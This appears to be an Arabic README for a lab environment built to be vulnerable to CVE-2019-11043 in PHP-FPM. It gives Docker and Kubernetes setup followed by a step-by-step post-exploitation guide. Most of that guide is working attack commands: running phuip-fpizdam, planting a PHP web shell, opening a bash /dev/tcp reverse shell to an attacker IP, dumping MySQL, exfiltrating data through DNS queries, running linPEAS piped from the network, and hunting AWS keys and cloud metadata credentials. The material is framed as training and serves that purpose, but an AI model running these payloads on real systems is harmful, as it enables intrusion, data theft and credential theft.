
تطبيق PHP بسيط مع إعداد Nginx/PHP-FPM هشّ عن قصد لإعادة إنتاج CVE-2019-11043. يتضمن مدير مهام صغيرًا، وصفحة تسجيل دخول/إدارة، وواجهة إعداد قاعدة بيانات.
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
استخدم phuip-fpizdam ضد status.php، ودعه يكتشف المعاملات، ثم أعد التشغيل باستخدام --skip-detect.
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
يدعم التطبيق كلاً من SQLite وMySQL مع الكشف التلقائي:
sqlite:/var/www/html/data/app.sqlitemysql:host=hostname;port=3306;dbname=database;charset=utf8mb4عند تعيين متغيرات البيئة هذه، فإنها تتجاوز DSN تلقائيًا:
DB_HOST - اسم مضيف قاعدة البياناتDB_PORT - منفذ قاعدة البيانات (الافتراضي: 3306)DB_NAME - اسم قاعدة البياناتDB_USER - اسم مستخدم قاعدة البياناتDB_PASS - كلمة مرور قاعدة البياناتindex.php وlogin.php وadmin.php)./health.php، الذي يتحقق أيضًا من اتصال قاعدة البيانات.ملفات النشر موجودة في k8s/:
k8s/secret.yaml: بيانات اعتماد MySQL (مواضع نائبة في stringData)k8s/mysql-deployment.yaml: نشر MySQL + خدمةk8s/app-deployment.yaml: نشر التطبيق (بصلاحيات موسّعة) + خدمة؛ يثبّت Secret ويضبط متغيرات بيئة قاعدة البياناتk8s/ingress.yaml: توجيه Nginx Ingress إلى التطبيقيستخدم النص البديل للصورة quay.io – غيّر quay.io/your-org/cve-2019-11043-lab:app إلى مستودعك.
ترتيب التطبيق:
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
يفترض Ingress وجود وحدة تحكم Nginx Ingress وإعداد DNS/hosts لـ taskapp.local يشير إلى عنوانها.
public/: جذر الويب (نقاط الدخول)app/: أدوات مساعدة للتطبيق (الإعداد، قاعدة البيانات، المصادقة، الإصدار)php/: تجاوزات PHP-FPM inik8s/: ملفات Kubernetesdata/: بيانات وقت التشغيل (قاعدة بيانات SQLite، الإعداد)سجّل الدخول من /login.php باستخدام admin / admin (التلميح في الواجهة مخفي عبر CSS).
ادخل إلى /db_config.php بصلاحية المدير من أجل:
هذه بيئة هشّة عن قصد. لا تعرّضها لشبكات غير موثوقة.
قم ببناء صورة متعددة المعماريات (linux/amd64، linux/arm64) ودفعها إلى quay.io.
المتطلبات الأساسية: Docker Buildx (مضمّن في Docker Desktop). محاكاة QEMU اختيارية: docker run --privileged --rm tonistiigi/binfmt --install all.
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
عيّن الأهداف:
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
الاستغلال (كشف تلقائي، ثم تشغيل نهائي):
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
أفلت قشرة ويب صغيرة وتحقق من التنفيذ:
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
تابع مع تمارين المختبر لما بعد الاستغلال أدناه من أجل القشرة العكسية، وتفريغ MySQL، واستخراج DNS TXT، وlinPEAS، والبحث عن مفاتيح AWS.
هذه الخطوات مخصصة للاستخدام التعليمي في بيئة هذا المختبر فقط.
عيّن عنوانك الأساسي وعنوان IP للمهاجم:
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
بعد استغلال CVE-2019-11043 باستخدام phuip-fpizdam، استخدم بدائية RCE لكتابة قشرة ويب صغيرة. إذا كان لديك بالفعل قشرة داخل الحاوية، نفّذ ما يلي:
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
إذا كان لديك RCE فقط (بدون قشرة)، فنفّذ نفس عملية الكتابة base64 عبر بدائية RCE (على سبيل المثال، من خلال أداة الاستغلال).
تحقق:
curl -s "$BASE/sh.php?c=whoami"
curl -s "$BASE/sh.php?c=whoami"
على جهاز المهاجم لديك:
nc -lvnp "$ATTACKER_PORT"
شغّل من الهدف (أمر مشفّر بتنسيق URL):
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
إذا لم يتوفر bash، جرّب:
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
الخيار أ (مسار مشغّل المجموعة):
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
الخيار ب (عبر قشرة ويب باستخدام PHP PDO): اكتب سكربت تفريغ سريعًا يستخدم إعداد التطبيق:
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
وجّه نطاق اختبار تتحكم فيه (مثل exf.attacker.tld) إلى خادم أسماء تلتقط عليه (مثل dnschef أو bind). ثم من الهدف، شغّل استعلامات DNS تحمل أجزاءً من البيانات:
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
راقب الاستعلامات على خادم الأسماء لديك؛ وأعد بناء البيانات من التسميات.
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
مرة أخرى: نفّذ هذه الخطوات فقط داخل هذا المختبر. لا تختبر أبدًا أنظمة لا تملكها أو ليس لديك إذن صريح لتقييمها.